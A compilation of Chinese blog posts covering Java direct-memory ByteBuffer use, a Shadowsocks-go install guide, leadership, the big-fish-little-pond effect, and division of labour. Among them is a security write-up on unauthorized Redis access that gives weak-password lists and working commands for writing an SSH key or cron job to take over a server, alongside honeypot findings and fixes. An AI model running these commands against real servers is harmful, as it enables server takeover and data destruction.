Java直接（堆外）内存使用详解

Mon, 17 Oct 2016 07:42:28 CST

本篇主要讲解如何使用直接内存（堆外内存），并按照下面的步骤进行说明：

相关背景-->读写操作-->关键属性-->读写实践-->扩展-->参考说明

希望对想使用直接内存的朋友，提供点快捷的参考。

数据类型

下面这些，都是在使用 DirectBuffer中必备的一些常识，暂作了解吧！如果想要深入理解，可以看看下面参考的那些博客。

基本类型长度

在Java中有很多的基本类型，比如：

byte，一个字节是8位bit，也就是1B
short，16位bit，也就是2B
int，32位bit，也就是4B
long, 64位bit，也就是8B
char，16位bit，也就是2B
float，32位bit，也就是4B
double，64位bit，也就是8B

不同的类型都会按照自己的位数来存储，并且可以自动进行转换提升。
byte、 char、 short都可以自动提升为 int，如果操作数有 long，就会自动提升为 long， float和 double也是如此。

大端小端

由于一个数据类型可能有很多个字节组成的，那么它们是如何摆放的。这个是有讲究的：

大端：低地址位存放高有效字节
小端：低地址位存放低有效字节

举个例子，一个 char是有两个字节组成的，这两个字节存储可能会显示成如下的模样，比如字符 a:

              低地址位    高地址位
大端；        00              96
小端：        96              00

String与new String的区别

再说说 "hello"和 new String("hello")的区别：

如果是 "hello"，JVM会先去共享的字符串池中查找，有没有 "hello"这个词，如果有直接返回它的引用；如果没有，就会创建这个对象，再返回。因此， "a"+"b"相当于存在3个对象，分别是 "a"、 "b"、 "ab"。

而 new String("hello")，则省去了查找的过程，直接就创建一个 hello的对象，并且返回引用。

读写数据

在直接内存中，通过 allocateDirect(int byte_length)申请直接内存。这段内存可以理解为一段普通的基于 Byte的数组，因此插入和读取都跟普通的数组差不多。

只不过提供了基于不同数据类型的插入方法，比如：

put(byte) 插入一个byte
put(byte[]) 插入一个byte数组
putChar(char) 插入字符
putInt(int) 插入Int
putLong(long) 插入long

等等….详细的使用方法，也可以参考下面的图片：

对应读取数据，跟写入差不多：

注意所有没有index参数的方法，都是按照当前position的位置进行操作的。

下面看看什么是position，还有什么其他的属性吧！

基本的属性值

它有几个关键的指标：

mark-->position-->limit-->capacity

另外,还有 remaining=limit-position。

先说说他们的意思吧！

当前位置——position

position是当前数组的指针，指示当前数据位置。举个例子：

ByteBuffer buffer = ByteBuffer.allocateDirect(1024);
buffer.putChar('a');
System.out.println(buffer);
buffer.putChar('c');
System.out.println(buffer);
buffer.putInt(10);
System.out.println(buffer);

由于一个char是2个字节，一个Int是4个字节，因此position的位置分别是:

2,4,8

注意，Position的位置是插入数据的当前位置，如果插入数据，就会自动后移。
也就是说，如果存储的是两个字节的数据，position的位置是在第三个字节上，下标就是2。

java.nio.DirectByteBuffer[pos=2 lim=1024 cap=1024]
java.nio.DirectByteBuffer[pos=4 lim=1024 cap=1024]
java.nio.DirectByteBuffer[pos=8 lim=1024 cap=1024]

position可以通过position()获得，也可以通过position(int)设置。

//position(int)方法的源码
public final Buffer position(int newPosition) {
        if ((newPosition > limit) || (newPosition < 0))
            throw new IllegalArgumentException();
        position = newPosition;
        if (mark > position) mark = -1;
        return this;
    }

注意：position的位置要比limit小，比mark大

空间容量——capacity

capacity是当前申请的直接内存的容量，它是申请后就不会改变的。

capacity则可以通过capacity()方法获得。

限制大小——limit

我们可能想要改变这段直接内存的大小，因此可以通过一个叫做Limit的属性设置。

limit则可以通过limit()获得，通过limit(int)进行设置。

注意limit要比mark和position大，比capacity小。

//limit(int)方法的源码
public final Buffer limit(int newLimit) {
        if ((newLimit > capacity) || (newLimit < 0))
            throw new IllegalArgumentException();
        limit = newLimit;
        if (position > limit) position = limit;
        if (mark > limit) mark = -1;
        return this;
    }

标记位置——mark

mark，就是一个标记为而已，记录当前的position的值。常用的场景，就是记录某一次插入数据的位置，方便下一次进行回溯。

可以使用 mark()方法进行标记，
使用 reset()方法进行清除，

使用 rewind()方法进行初始化

//mark方法标记当前的position,默认为-1
public final Buffer mark() {
mark = position;
return this;
}
//reset方法重置mark的位置，position的位置，不能小于mark的位置，否则会出错
public final Buffer reset() {
int m = mark;
if (m < 0)
    throw new InvalidMarkException();
position = m;
return this;
}
//重置mark为-1.position为0
public final Buffer rewind() {
position = 0;
mark = -1;
return this;
}

使用案例

ByteBuffer buffer = ByteBuffer.allocateDirect(1024);
buffer.putChar('a');
buffer.putChar('c');
System.out.println("插入完数据 " + buffer);
buffer.mark();// 记录mark的位置
buffer.position(30);// 设置的position一定要比mark大，否则mark无法重置
System.out.println("reset前 " + buffer);
buffer.reset();// 重置reset ，reset后的position=mark
System.out.println("reset后 " + buffer);
buffer.rewind();//清除标记，position变成0，mark变成-1
System.out.println("清除标记后 " + buffer);

可以看到如下的运行结果：

插入完数据 java.nio.DirectByteBuffer[pos=4 lim=1024 cap=1024]
reset前 java.nio.DirectByteBuffer[pos=30 lim=1024 cap=1024]
reset后 java.nio.DirectByteBuffer[pos=4 lim=1024 cap=1024]
清除标记后 java.nio.DirectByteBuffer[pos=0 lim=1024 cap=1024]

剩余空间——remaing

remaing则表示当前的剩余空间：

  public final int remaining() {
        return limit - position;
    }

读写实践

写操作主要就是按照自己的数据类型，写入到直接内存中，注意每次写入数据的时候，position都会自动加上写入数据的长度，指向下一个该写入的起始位置：

下面看看如何写入一段byte[]或者字符串：

ByteBuffer buffer = ByteBuffer.allocateDirect(10);
byte[] data = {1,2};
buffer.put(data);
System.out.println("写byte[]后 " + buffer);
buffer.clear();
buffer.put("hello".getBytes());
System.out.println("写string后 " + buffer);

输出的内容为:

写byte[]后 java.nio.DirectByteBuffer[pos=2 lim=10 cap=10]
写string后 java.nio.DirectByteBuffer[pos=5 lim=10 cap=10]

读的时候，可以通过一个外部的 byte[]数组进行读取。由于没有找到直接操作直接内存的方法: 因此如果想在JVM应用中使用直接内存，需要申请一段堆中的空间，存放数据。

如果有更好的方法，还请留言。

ByteBuffer buffer = ByteBuffer.allocateDirect(10);
buffer.put(new byte[]{1,2,3,4});
System.out.println("刚写完数据 " +buffer);
buffer.flip();
System.out.println("flip之后 " +buffer);
byte[] target = new byte[buffer.limit()];
buffer.get(target);//自动读取target.length个数据
for(byte b : target){
    System.out.println(b);
}
System.out.println("读取完数组 " +buffer);

输出为

刚写完数据 java.nio.DirectByteBuffer[pos=4 lim=10 cap=10]
flip之后 java.nio.DirectByteBuffer[pos=0 lim=4 cap=10]
1
2
3
4
读取完数组 java.nio.DirectByteBuffer[pos=4 lim=4 cap=10]

常用方法

上面的读写例子中，有几个常用的方法：

clear()

这个方法用于清除mark和position，还有limit的位置：

public final Buffer clear() {
        position = 0;
        limit = capacity;
        mark = -1;
        return this;
    }

flip()

这个方法主要用于改变当前的Position为limit，主要是用于读取操作。

   public final Buffer flip() {
        limit = position;
        position = 0;
        mark = -1;
        return this;
    }

compact()

这个方法在读取一部分数据的时候比较常用。
它会把当前的Position移到0，然后position+1移到1。

    public ByteBuffer compact() {
        int pos = position();
        int lim = limit();
        assert (pos <= lim);
        int rem = (pos <= lim ? lim - pos : 0);

        unsafe.copyMemory(ix(pos), ix(0), rem << 0);
        position(rem);
        limit(capacity());
        discardMark();
        return this;
    }

比如一段空间内容为:

123456789

当position的位置在2时，调用compact方法，会变成：

345678989

isDirect()

这个方法用于判断是否是直接内存。如果是返回true，如果不是返回false。

rewind()

这个方法用于重置mark标记：

 public final Buffer rewind() {
        position = 0;
        mark = -1;
        return this;
    }

参考

1 Java基本数据类型
2 Java中大端与小端

Shadowsocks-go一键安装脚本

Sat, 08 Aug 2015 21:46:09 CST

Shadowsocks是做什么的，大家都懂吧？不懂的请自行百度。下面开始正文：

本脚本适用环境：
系统支持：CentOS，Debian，Ubuntu
内存要求：≥128M
日期：2015年08月01日

关于本脚本：
一键安装 go 版的 shadowsocks 最新版本 1.1.4。据说 go 版本有 buff 。与 python 版不同的是，其客户端程序能使用多个服务端配置，本脚本安装的是服务端程序。作者默认推荐 aes-128-cfb 加密，基于一致性，脚本使用了 aes-256-cfb 加密方式。
友情提示：如果你有问题，请先参考这篇《 Shadowsocks Troubleshooting》后再问。

默认配置：
服务器端口：自己设定（如不设定，默认为 8989）
客户端端口：1080
密码：自己设定（如不设定，默认为teddysun.com）

客户端下载：

http://sourceforge.net/projects/shadowsocksgui/files/dist/

使用方法：
使用root用户登录，运行以下命令：

wget –no-check-certificate https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-go.sh
chmod +x shadowsocks-go.sh
./shadowsocks-go.sh 2>&1 | tee shadowsocks-go.log

安装完成后，脚本提示如下：

Congratulations, shadowsocks-go install completed!
Your Server IP:your_server_ip
Your Server Port:your_server_port
Your Password:your_password
Your Local Port:1080
Your Encryption Method:aes-256-cfb

Welcome to visit:http://teddysun.com/392.html
Enjoy it!

卸载方法：
使用 root 用户登录，运行以下命令：

./shadowsocks-go.sh uninstall

其他事项：
客户端配置的参考链接： http://teddysun.com/339.html

安装完成后即已后台启动 shadowsocks-go ，运行：

/etc/init.d/shadowsocks status

可以查看 shadowsocks-go 进程是否已经启动。
本脚本安装完成后，已将 shadowsocks-go 加入开机自启动。

使用命令：
启动：/etc/init.d/shadowsocks start
停止：/etc/init.d/shadowsocks stop
重启：/etc/init.d/shadowsocks restart
状态：/etc/init.d/shadowsocks status

多用户多端口配置文件 sample（2015年01月08日）：
配置文件路径：/etc/shadowsocks/config.json

{
“port_password”:{
“8989″:”password0″,
“9001″:”password1″,
“9002″:”password2″,
“9003″:”password3″,
“9004″:”password4″
},
“method”:”aes-256-cfb”,
“timeout”:600
}

官方版本的 sample ，详见这里。

转载自： Shadowsocks-go一键安装脚本

浅谈领导和领导力

Fri, 07 Aug 2015 23:48:31 CST

按：公司基层主管培训，安排我做关于领导力的讲座，效果尚可。我把PPT的内容总结成一篇文章，在这里与大家共享。

如今，市面上关于“领导”和“领导力”的文章、书籍已经数不胜数，大家似乎并没有厌烦的感觉，新的资料仍然层出不穷；另一方面，对相当一部分人来说，“领导”和“领导力”又确实难以捉摸，看书似乎明白了，做起来却全然不对劲。为什么会出现这种情况呢？据我的观察和思考，主要的原因是：领导和领导力，都是主要与人有关的学问，一旦与人有关，就不能依靠简单的条条框框来行事。下面，我结合自己的经验和思考，谈谈领导和领导力的若干问题。

首先的问题是，为什么要有领导呢？或者说，什么样的人是领导呢？一个人被上级任命为“领导”，他就是领导了吗？不。他如果做得好，才可以成为领导，做不好，不过是“空有个领导的架子”而已；相反，民间的很多“领导”(领袖、领头人物)，并不需要任命，大家都认可他。那么，一个人会想办法，会谋划，他就是领导了吗？也不见得。古代的军师和谋士，最擅长此道，但他们似乎和领导不沾边；但是一个人如果没有谋划，也没有规划，似乎也不算“领导”。这样看来，领导确实不简单。

不妨看看，不存在领导的情况是怎样的。此时基本只有两个元素：人和任务，任务由人完成。通常大家独自完成任务，也可能有多人互相帮助，自发协同完成任务。

但是随着任务量的增加，任务复杂程度的增长，任务已经不能由单个的人，或者说多人自发完成了，这时就需要一个人，带领、协调、组织其他人，完成更多、更复杂的任务。这个人，就是通常所说的领导。一方面，他有权力去安排更多人的行为，这就是我们常说的“任命”的必要性(民间领袖通常依靠威信)；另一方面，他有规划、有办法去完成更多更复杂的任务，无论这种规划是他自己提出的，还是采纳别人的。

由此，就会产生两种观点：领导的工作，到底是应该看重人，还是应该看重任务呢？如果看重人，就需要给予下属更多的自主权，比如容许他们自己规划，自己安排进度，但放开的后果需要你来承担；如果看重任务，就会要求下属在规定的时间完成规定的事情，哪怕是疯狂加班也在所不惜。两种方式，究竟哪一种更好呢？

按照我的经验，在一般(非外包类)的公司，除去人力资源等几个部门，对领导的考核指标，并不会由对下属员工的考核所构成，而是强调领导的业绩，也就是任务的完成数量和质量；但是领导并不能事必躬亲，自己去完成如此多如此麻烦的任务，而必须借助下属——也就是人——来完成。换句话说，领导的任务是完成更多更复杂的任务，但他必须通过下属，迂回、间接地完成。所谓的领导力，就是这种迂回、间接中动用的能力。

我把自己对领导和领导力的理解画成一张草图：任务是由人(下属)来完成的，领导的行为对象是作为下属的人，但其领导行为最终指向的，却是下属需要完成的任务。图中的橙色部分，是领导的主要工作内容，黄色部分，是下属的主要工作内容。两者有部分重叠，表示领导的工作不能止步于下属的具体内容之外，下属的工作也不能与领导的工作脱节。

观察现实生活中的很多例子，都可以印证上面这个模型。读过点历史的人都知道，“文革”结束之后，改革开放之初，老百姓之间流传有“要吃粮，找紫阳；要放米，找万里”的说法，称赞他们对农业的领导有方。紫阳和万里并不种粮，也不是农业专家，但他们采取了正确的政策，激活了农民种粮的积极性，扭转了人民吃不饱饭的局面。虽然最终种粮的仍然是农民，但农民的种粮活动，是受到紫阳和万里的领导行为的影响，或者说，紫阳和万里“间接地”解决了吃不饱饭的问题。具体的任务还是那些任务，解决任务的人还是那些人，但换了领导，结果大不一样，这就是领导力的展现。

最开始说到，领导力是与人有关的学问，原因就在这里。这个道理，温伯格在《技术领导之路》中的表述更加清楚：

所谓领导力，就是创造出一个环境，提升其他人的创造力和生产力，让每个人都能发挥出更大的能力，创造出更大的价值。

既然领导力与人有关，身为领导，就不能不了解与人有关的知识。如果我们把“人完成任务的能力”粗略地成为“人力资源”，那么，人力资源有几种特性，是其它类型的资源所不具备的，值得领导特别关注。

第一种特性是，人力资源的输出是不稳定的。计算机每秒的计算量是稳定的，驴一天拉磨的圈数是固定的，泉水一天出产的水量也是相对稳定的；但人力资源不是这样，人力资源的输出受多种因素的影响。如果员工失恋了或者家人去世了，他可能每天都来上班，但上班的效率为零。当然，这只是极端的情况，但人的情绪和状态，确实会极大地影响人力资源的输出。

为了保证人力资源输出的稳定，就必须保证下属的情绪和状态的相对稳定。首先，要尽量保证工作的自发自愿性，一个人是作为积极进取的公司职员，还是作为被迫劳作的农场奴隶，其生产效率绝对是有天壤之别的。在分配工作时，应当尽量考虑下属的兴趣、意愿，最糟糕的情况，就是让下属去做他非常排斥的事情，这样几乎不可能有好的收效，第一个需要反思的就是领导自己。其次要保证下属的情绪稳定，平时注意营造积极乐观的工作氛围，并注意观察其他人的情绪，如果发现波动应当及时了解、抚慰。最后，要建立信任，尤其是对喜欢多想的下属，如果没有建立足够稳定的信任机制，任何一点小变化、小波动，都可能严重影响他的情绪；如果让下属信任你对他的一贯态度，对他的工作的一贯态度，就可以避免此类问题的发生。

第二种特性是，人力资源是具有持续成长性的。要升级计算能力，你可能需要升级计算机；要烧更多的水，你可能需要更多的电，更多的煤。但是要完成更多更复杂的任务，公司给你的资源和人力编制，并不会有同步的增长。另一方面，大多数员工也有对自身发展的期望。培养下属持续成长，就可以解决以上两个问题。

要保持人力资源的持续成长，领导必须花很多的心思。一方面，根据未来的目标，有计划地培养、储备人才，以便用有限的资源，解决更多的问题。另一方面，也需要为下属考虑学习成长之路。我们在招聘时，面试者经常会说“希望能多学东西”，但是很多人并没有培养出自动自发学习进步的习惯和能力，然而如果公司没有给他“学到东西”的感觉，他又会对工作和公司失望。所以身为领导，往往必须为下属拟定一系列的学习发展步骤，并持续实施，这样既可以不断提供给下属学习的成就感和满足感，又可以培养出符合公司业务需要的，能力更强大更全面的员工。或许也正因为如此，希拉里才说：“卓越的领导，会带领人们去到他们应该去的地方”。

第三种特性是，人力资源的转移很快。这里说的“转移”，是指员工的流动。员工的流动会给业务的开展造成非常严重的影响——我想，再也没有什么消息，比在准备大干一场的前夜听到业务骨干离职，令领导沮丧的吧。

员工的流动是不可避免的，但身为领导，应当将其稳定在可控的范围之内。通常，员工会留在某个公司，有两个原因：第一是觉得自己的工作有希望，第二是觉得公司有希望；而且，两种希望有相当的重合。但是有些员工的“希望”很明确，有些员工的“希望”只是“有希望的感觉”而已；另一方面，员工对于“公司的希望”，其实是没有上级领导了解的全面和细致的。所以，身为领导，应当尽量向下属阐明公司的希望所在，并且照顾到员工的希望——对“希望”很明确的员工，要努力寻找他的希望与公司的希望的重合地带；对“希望”不那么明确的员工，应当从公司的角度出发，结合其个人特点，具体化并不断强化这种“期望”，得到员工的认可。如果员工的期望与公司的期望完全绝缘，找不到太多共同点，则应当尽早选定后备力量，以防下属离职给自己的工作造成困扰。

最后想说的是：

管理是个细致的工作，技术岗位更是如此。管理是激发潜能而不是耳提面命，管理是价值认同而不是按部就班。

Refer：

[1] 浅谈领导和领导力

http://www.luanxiang.org/blog/archives/1321.html

[2] 试用期第三天就被开？

http://t.cn/RLQfsBX

[3] 从员工到总监，我的8个经验心得

http://t.cn/RLQIh4y

[4] 开发人员转型到管理者必须学会的7件事

http://t.cn/RLQI7gi

大鱼小池效应

Fri, 27 Feb 2015 21:09:08 CST

大鱼小池效应(Big-Fish-Little-Pond Effect, BFLPE) 是指对于同等能力的学生来说, 进入高能力水平学校或班级的学生要比进入低能力水平学校或班级的学生习得更低的学业自我概念的现象。这类似于我国生活格言“ 宁做鸡头, 不做凤尾” 的描述。

在设计师职业发展上来说，我们选择怎样的团队发展是要根据自身能力进行评估的，以获得更高的自我概念，形成强的向上动力。

下方来自互动百科—————————————————-

大鱼小池塘效应提出的理论基础有两个。其一是基于Festinger的社会比较理论：该理论认为人类存在这样一种动机，即通过与他人的观点和能力进行比较来评价自己的观点与能力，比较的结果对他的行为有重要影响。其二为Marsh的内/外参考框架模型（Internal/external frame of reference model）：外部参考框架模型是典型的社会比较过程，学生将某一门课的成绩与其他同学在此课上的成绩进行比较，或者是与实际成绩水平的某种外部标准相比较（如学校等级，班级排名等）；内部参考框架模型是学生将自己在某一学科上的成绩与自己在另一学科上的成绩进行比较，如他的数学成绩最高，他的数学自我概念将比其语文自我概念要高。这一模型是对传统的社会比较理论的拓展。BFLPE效应就是基于外部参考框架模型形成的。Marsh 和Hau 对此模型在自我概念形成过程中的适用性进行的26个国家的跨文化检验表明此模型具有普遍的适用性。

Marsh这样描述其BFLPE效应的理论模型：“该模型假设学生将自己的学业能力与同伴的学业能力相比较，并且用这种社会比较印象作为基础来形成他们自己的学业自我概念。具有相同能力的学生，当他们将自己与更高能力的同学进行比较时，他们就会有较低的学业自我概念，当他们与能力较低的同学进行比较时，他们的学业自我概念就会较高，这时就出现了BFLPE效应”。

Marsh及其他研究者在不同层面上对此效应做了验证：

Marsh和Chessor等人于1995年进行了一项研究，实验组为在超常班学习的学业超常学生，对照组为在普通班学习的学业超常学生，这些学生在学业能力、IQ、性别和年龄上均是匹配的，经过一年之后，发现超常班学生在自我概念上有显著的下降。
Zeidner和Schleyer对以色列小学4~6年级的超常儿童进行研究，路经分析表明普通班比超常班中的超常儿童表现出明显高的学业自我概念，低的焦虑水平和高的学业成绩。

Craven, Marsh和Print于2000年对自我概念的变化情况进行追踪研究，结果发现，随着在超常班学习时间的增加，自我概念持续下降。以上这些研究在班级层面上证明了BFLPE效应现象的存在。

为了进一步检验BFLPE效应的跨文化普遍性，Marsh和Hau在北美、南美、澳洲、东欧、西欧等地的26个国家和地区进行了类似的研究。采用统一的SDQ II问卷和标准化的学业成绩测验，对相同年龄段的学生进行研究。结果表明，学校学生的平均能力水平与学生的学业自我概念成负相关，即同样能力的学生在学校平均能力较高的学校，其学业自我概念将较低，在学校平均能力较低的学校，其学业自我概念将较高。这些研究结果一方面证明了BFLPE效应的跨文化普遍性，另一方面也在学校的层面上证明了BFLPE效应的存在。

Redis事件综合分析

Thu, 19 Nov 2015 09:00:51 CST

0×00前言

redis未授权访问一直未被大家重视，直到11月4号，在 这篇blog 上被爆出：redis可以通过写入SSH Key进而控制服务器，安全人员开始大量关注这一事件。

0×01漏洞简介

暴露在公网的redis如果没有启用认证服务或者采用弱口令密钥对时，可被攻击者恶意登录，通过写入SSH公钥或者写入crontab执行命令的方式进而控制服务器。

0×02影响状况

百度泰坦平台对全网默认端口的redis进行探测，通过两天的数据对比，发现redis仍未被甲方公司重视。

其中弱口令的选取如下：

用户名
root
admin
redis
administrator
webadmin
sysadmin
netadmin
密码
123456
12345
123456789
password
iloveyou
redis
root
admin
12345678
1234567

国内redis状况:

中国是受危害最大的一个国家。主要数据如下：

国内redis未授权访问的主要城市分布：

0×03漏洞利用

方法一：

通过Redis的set方法，把自己生成的SSH公钥文件写入到user/.ssh的目录下，实现ssh免认证登录。

$ ssh-keygen -t rsa／／生成公钥$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
／／处理公钥格式写入文件
$ redis-cli -h 192.168.1.11 flushall
／／登录redis  删除所有数据库以及key（保证写入的数据不掺杂其他数据，慎用）
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit／／写入数据$ redis-cli -h 192.168.1.11 192.168.1.11:6379> config set dir /root/.ssh/设置保存路径192.168.1.11:6379> config set dbfilename "authorized_keys"设置数据库名192.168.1.11:6379> save保存数据库的内容到/root/.ssh/authorized_keys 保存的authorized_keys会覆盖之前的，会导致之前设置的免登录失效。

方法二：

写入到crontab 里执行。

通过Redis的set1 ‘xxx’命令使得写入数据始终在最前,保证执行成功，但写入数据较大（来源猪猪侠@wooyun）。

crontab 对执行的文件格式要求比较松散。

在centos里写入到/var/spool/cron目录。

参考方法一。

0×04漏洞跟踪

在我们自己部署的多台蜜罐中，采用redis的monitor进行监控。

redis-cli -h xx.xx.xx. monitor >ksdf.log

然后对log进行监控。

其中有台蜜罐在1小时内，就捕获了一条入侵命令。

46.151.53.230 来自于乌克兰的同胞的问候,此IP在我们收集的代理列表中命中,有可能只是一台跳板机器。

他的公钥如下

ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQC/Z+/g2nHKXaWxCJD1wpFRt8EuBi1ud2kIyouw+YN3JlAmslKAKCiHURwDs4n/gCwQZsw6cK3diLJj2yJ7IeWMaCNN5TeMhKnapyNV4FylrykBWOEJ+BW0Nlp1ntqAmE0rU+UslfroIjxMuzAJlGNbSe4oHiS6X2vdvYD6mYmqptnHjPhE58vqkjMiC1qpqR67G6Is+TX3IWrDLXVv6HQkLMqUVz+LU3m1/lCS/32xjBQwPzRf9ZY8sUb+aGMe0/jtQSiZCvCsm1O2ZlETgWLGgDQMlDfDc3rsOLsSZVG5L018+h6TdcKqKSDstLq76JdHJpBWN3lODKcQxyh4GNG5administrator@redis.io

其他获取到公钥如下

ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQC74d4oNJ2iLuPiX6ocXjuDANP1g6kRa0Zf89o0wRwumGKKCxwMJ6jl2pGpmETcFHgFUOUt/bOmnAqpIQUGmsF5Ta9EOKJbwaoxzGMsvenvNF+baGUe7rdAHEfc/IGemsAm6InI8nKUP/Qarm9572ORwoPk/jNY6i5bQLPeuRIcE4wnazQf7PW0qxitTAn2ejhDfbJRMiBm6eBL0ghgjJ3d1EddhKuC11/Iyx+SBo2RdSJM6w+3nIT6PWirlzgQCHcmY+0IaY1vfRpbyH14FEWIjEGNB68agpdO8YGtmSMPh6RxAghdIpbuOEqzrOf/XrTgqEcYPYl8jxL0Zwj5L4tHadmin@admin.com

ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCcuHEVMRqY/Co/RJ5o5RTZmpl6sZ7U6w39WAvM7Scl7nGvr5mS4MRRIDaoAZpw7sPjmBHz2HwvAPYGCekcIVk8Xzc3p31v79fWeLXXyxts0jFZ8YZhYMZiugOgCKvRIs63DFf1gFoM/OHUyDHosi8E6BOi7ANqupScN8cIxDGsXMFr4EbQn4DoFeRTKLg5fHL9qGamaXXZRECkWHmjFYUZGjgeAiSYdZR49X36jQ6nuFBM18cEZe5ZkxbbtubnbAOMrB52tQX4RrOqmuWVE/Z0uCOBlbbG+9sKyY9wyp/aHLnRiyC8GBvbrZqQmyn9Yu1zBp3tY8Tt6DWmo6BLZV4/crack@redis.io

总结：

由于Redis 是覆盖写，多个黑客或团体一直在争夺最终的写入。

当如果发现自己的Redis突然被清空，在0号默认库中执行 keys * 命令只显示

"crackit" 或者其他奇怪的key,那么“恭喜”你中招了。

0×05修复建议

1.对自己的Redis加入认证，除非必要，否则不要把自身暴露到公网中，也不要以root启用Redis。
2.iptables 对自用固定的端口开启白名单。
3.查看自己的authorized_keys，以及crontab 任务，如果包含REDIS的开头，请重置。
4.确认自己被hack的机器，请检查 chkrootkit和 rootkit hunter检查rootkit。

http://www.chkrootkit.org

http://www.rootkit.nl/projects/rootkit_hunter.html

*本文作者：百度云安全，转载须注明来自FreeBuf黑客与极客（FreeBuf.COM）

让我们来谈谈分工

Sun, 13 Dec 2015 12:55:52 CST

昨天，我看到一个新闻——雅虎取消了QA团队，工程师必须自己负责代码质量，并使用持续集成代替QA。同时，也听到网友说，“听微软做数据库运维的工程师介绍，他们也是把运维工程师和测试工程师取消了，由开发全部完成。每个人都是全栈工程师”。于是，我顺势引用了几年前写过一篇文章《我们需要专职的QA吗？》，并且又鼓吹了一下全栈。当然，一如既往的得到了一些的争议和嘲弄;-)。

有人认为取消QA基本上是公司没钱的象征，这个观点根本不值一驳，属于井底之蛙。有人认为，社会分工是大前提，并批评我说怎么不说把所有的事全干的，把我推向了另外一个极端。另外，你千万不要以为有了分工，QA的工作就保得住了。

就像《乔布斯传》中乔布斯质疑财务制度的时候说的，有时候，很多人都不问为什么，觉得存在的东西都是理所应当的东西。让我们失去了独立思考的机会。分工也是一样。

所以，为了说完整分工这个逻辑。请大家耐住性子，让我就先来谈谈“分工的优缺点”吧。

分工的优点和缺点

首先，分工（Division of Labour）应该是由 Adam Smith 在1776年的《国富论》中提出来的，Adam在那时候就观察到分工对于手工业生产效率的提高。他将效率提高的原因归结于三点：

熟练程度的增加。当一个工人单纯地重复同一道工序时，其对这道工序的熟练程度会大幅增加。 表现为产量和质量的提高。
如果没有分工，由一道工序转为另一道工序时会损失时间，而分工避免了这中间的损失。
由于对于工序的了解和熟练度的增加， 更有效率的机械和工具被发明出来，从而提高了产量。

分工的确是提高生产力。我想到了福特公司一开始做出来的汽车几乎买不出去，原因有两个，一个是成本太高，另外是生产太复杂，产能太低。于是福特公司开始把制造一辆汽车的工序分解开来，进行分工，分工给福特公司带来的好处是：

很多工作可以并行了，而且 因为事情变得简单后，执行力也变强了
一个非常复杂和高深的汽车制造因为分工后， 很多工作不需要很NB的人来干了，只需要一般劳动者经过简单的培训就可以干了。而且，越干越熟练，越干越专业，最终可能让合适的人合适的事。
分工后导致了很多重复劳动可以用技术来解决，于是福特公司出现生产流水线的技术（你是否还记得卓别林《摩登时代》里的工业生产流水线的场景，那取自福特公司）。

于是，福特公司的生产效率大大提高，最终实现了让每个美国家庭都能买得起汽车的理想，同时让美国成为了轮子上的国家。

不过，我们需要注意的是，在《国富论》中，Adam他同时也提到，分工如果过细，同样会带来问题—— 简单重复的劳动会让人变成一个不会思考的机器，从而越来越笨，进而变成平庸的无技能的人。自“分工”出现以后，争论就没有停止过。

Karl Max同样认为 分工越来越细，会导致人的技术越来越差，同时，大量的重复劳动也会导致人对工作的失出热情，产生厌倦和抵触心理，最终会导致生产力的下降。

同时，还有一些经济学家也同样表明分工的一些缺点：

导致人只关注整个事情中的一小块，缺乏全局视角，导致视野受限，没有完全领会工作的意义和目标，从而导致各种返工。

对于组织而言，分工也会导致出现大量的沟通协同成本，并出现碎片的生产方式，以及组织的孤岛形式，并不利于提高生产力。

当然，奥地利经济学家 Ludwig von Mises 并不这么认为，他认为，在分工所得到的好处面前，这些副作用不算什么。并且，他认为在资本主义的制度下，完全是可以平衡分工的各种优点和各种缺点，从而可以达到提高生产力和提高人员素质的双赢解的。

比如说， 分工中的各种沟通问题是可以通过一个标准协议来解的，造灯泡的，造开关的，造灯座的完全不知道对方的存在，他们只所以可以让做出来的东西拼在一起，完全是通过了一种标准协议完成的。 这也是为什么这个世界上有各种各样的标准化的组织。

还有很多经济学家对分工都有自己的见解和想法。不过基本上就是上面这些Pros和Cons了。下图是一个PPT的两个slids，可以点击看大图（来源）

全球化下的分工

分工带来问题在全球化的浪潮下变得尤为突出。其委婉地被讲成是比较优势（ Comparative Advantage）

比较优势（又叫 相对优势）是经济学的概念，解释了为何在拥有相对的机会成本的优势下生产，贸易对双方都有利。当一方（一个人，一间公司，或一国）进行一项生产时所付出的机会成本比另一方低，这一方面拥有了进行这项生产的比较优势。于是，一个国家倘若专门生产自己相对优势较大的产品，并通过国际贸易换取自己不具有相对优势的产品就能获得利益。

于是乎，分工本来想要的是——合适的人干合适的事， 但是在比较优势的情况下，商业社会把分工变成了—— 不是选择合适的人、公司或国家，而是选择成本低的人、公司或国家。

经济合作与发展组织 OECD最近（2015年6月28日）对全球化这样建议的——

“有效率的政策的本质不是阻止失业而是鼓励就业，如果各个国家都在收获全球化的利益而不是开放贸易的话，那么一些地方就会失去工作机会，当然也伴随着在另一些地方出现新的工作机会，这是全球化进程不可避免的，而我们面对的挑战是怎么能流畅调整我们的流程，能为那些新出现的工作机会找到合适的技能匹配的工人”。

通过上面的说明，我想你可以知道，为什么中国成为了世界劳动力大国，而为什么当初美国科技公司进入中国的时候，首先把测试的工作放到了中国。这就是所谓的全球化分工。同时我们也可以看到，像我们中国这样技术能力的确非常不足的国家，的确是可以通过分工这种形式，让我们这些技能一般的技术人员参与一个复杂的有技术含量的项目当中。这其中就是分工的光明面和阴暗面。

那么，我们想一想，随着中国的人力成本的越来越大，国际化的分工因为商业资本的因素，必然不会选择中国，只会选择人力成本更低的国家，比如印度、越南、甚至人力成本更低的国家。美国雅虎和Adobe不是离开中国了么？再看看中国因为人民币的汇率或是人力成本的上升，我们在早几年关了多少个Made in China的工厂，这就是全球化的分工，商业上来说，他不是找最合适的人，而是找成本最低的人。

所以，你千万不要以为我一提倡全栈了，你QA的工作就保不住了，就算没有全栈，就算是你还在坚持的社会化的分工，也可能让你的QA的工作就保不住了，除非，你能提供更低的价格。（想想这其中的逻辑吧，人家美国人把一些技术工作（比如测试）外包到中国的原因不是因为中国人聪明，想得周全，适合干这个测试这个事，而是因为中国人廉价，所以，当中国不在廉价了，自然就会找更廉价的地方了）

